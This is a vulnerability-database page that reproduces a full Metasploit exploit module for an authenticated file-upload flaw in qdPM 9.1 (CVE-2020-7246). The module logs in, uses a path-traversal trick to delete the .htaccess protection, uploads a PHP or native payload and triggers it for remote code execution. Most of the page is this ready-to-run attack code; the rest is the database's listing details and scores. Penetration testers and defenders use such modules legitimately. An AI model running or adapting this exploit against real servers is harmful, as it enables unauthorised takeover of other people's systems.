Lucene search
K

qdPM 9.1 Authenticated Shell Upload Exploit

🗓️ 29 Sep 2022 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 556 Views

Remote code execution (RCE) vulnerability in qdPM 9.1 allows authenticated arbitrary PHP file uploa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
qdPM 9.1 - Remote Code Execution Exploit
23 Jan 202000:00
zdt
0day.today
qdPM < 9.1 - Remote Code Execution Exploit
29 Feb 202000:00
zdt
0day.today
qdPM 9.1 - Remote Code Execution (Authenticated) Exploit
4 Aug 202100:00
zdt
0day.today
qdPM 9.1 - Remote Code Execution (Authenticated) Exploit
26 May 202200:00
zdt
ATTACKERKB
CVE-2020-7246
21 Jan 202000:00
attackerkb
Circl
CVE-2015-3884
29 May 201815:50
circl
Circl
CVE-2020-7246
21 Jan 202017:37
circl
CNVD
qdPM Arbitrary File Upload Vulnerability
21 Mar 201700:00
cnvd
Check Point Advisories
qdPM Remote Code Execution (CVE-2020-7246)
25 Mar 202000:00
checkpoint_advisories
CVE
CVE-2015-3884
17 Mar 201714:00
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
        'Description' => %q{
          A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
          An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
          vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
          NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rishal Dwivedi (Loginsoft)', # Discovery
          'Leon Trappett (thepcn3rd)', # PoC
          'Giacomo Casoni' # Metasploit
        ],
        'References' => [
          ['CVE', '2020-7246'],
          ['EDB', '50175']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => %w[linux php],
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-11-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['IOC_IN_LOGS'],
          'SideEffects' => ['REPEATABLE_SESSION']
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
        OptString.new('EMAIL', [true, 'The email to login with']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(uri, '/index.php')
    res = send_request_raw({ 'uri' => uri })
    if res.nil?
      return Exploit::CheckCode::Unknown
    end

    login_page = res.get_html_document
    begin
      version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
    rescue StandardError
      return Exploit::CheckCode::Unknown
    end
    version = Rex::Version.new(version_num)
    if version <= Rex::Version.new('9.1')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_write_exec_payload_win(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def login(base, username, password)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'keep_cookies' => true
    })
    login_page = res.get_html_document
    csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'vars_post' => {
        'login[email]' => username,
        'login[password]' => password,
        'login[_csrf_token]' => csrf_token
      },
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/login"
      }
    })
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true,
      'headers' => {
        'Host' => rhost.to_s
      }
    })
    account_page = res.get_html_document
    begin
      userid = account_page.at("input[@name='users[id]']/@value").text.strip
    rescue StandardError
      print_error('The designated admin account does not have a user ID.')
      return {}
    end
    username = account_page.at("input[@name='users[name]']/@value").text.strip
    csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
    opts = {
      'user_id' => userid,
      'name' => username,
      'csrf_token' => csrftoken_
    }
    return opts
  end

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    email = opts['email']
    csrf_token = opts['csrf_token']

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' },
      { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
    ]

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return res.code == 302
  end

  def exec_php(base, _opts)
    res = send_request_cgi({
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true
    })
    home_page = res.get_html_document
    backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
    register_file_for_cleanup(backdoor)
    send_request_cgi({
      'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
    })
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    user = datastore['EMAIL']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")
    opts = login(uri, user, pass)
    if opts.empty?
      print_error('Login unsuccessful or bad (admin) user')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    case target['Platform']
    when 'php'
      p = get_write_exec_payload
    when 'linux'
      p = get_write_exec_payload(unlink_self: true)
    when 'win'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      bin = generate_payload_exe
      p = get_write_exec_payload_win(bin_name.to_s, bin)
      print_warning("#{bin_name} will require manual cleanup")
    end

    print_status("Uploading PHP payload (#{p.length} bytes)...")
    data = {
      'email' => user.to_s,
      'filename' => php_fname,
      'data' => p
    }
    data = data.merge(opts)
    uploader = upload_php(uri, data)
    if !uploader
      print_error('Unable to upload')
      return
    end

    print_status("Executing '#{php_fname}'")
    exec_php(uri, opts)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2022 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 26.5
CVSS 3.18.8
EPSS0.90442
556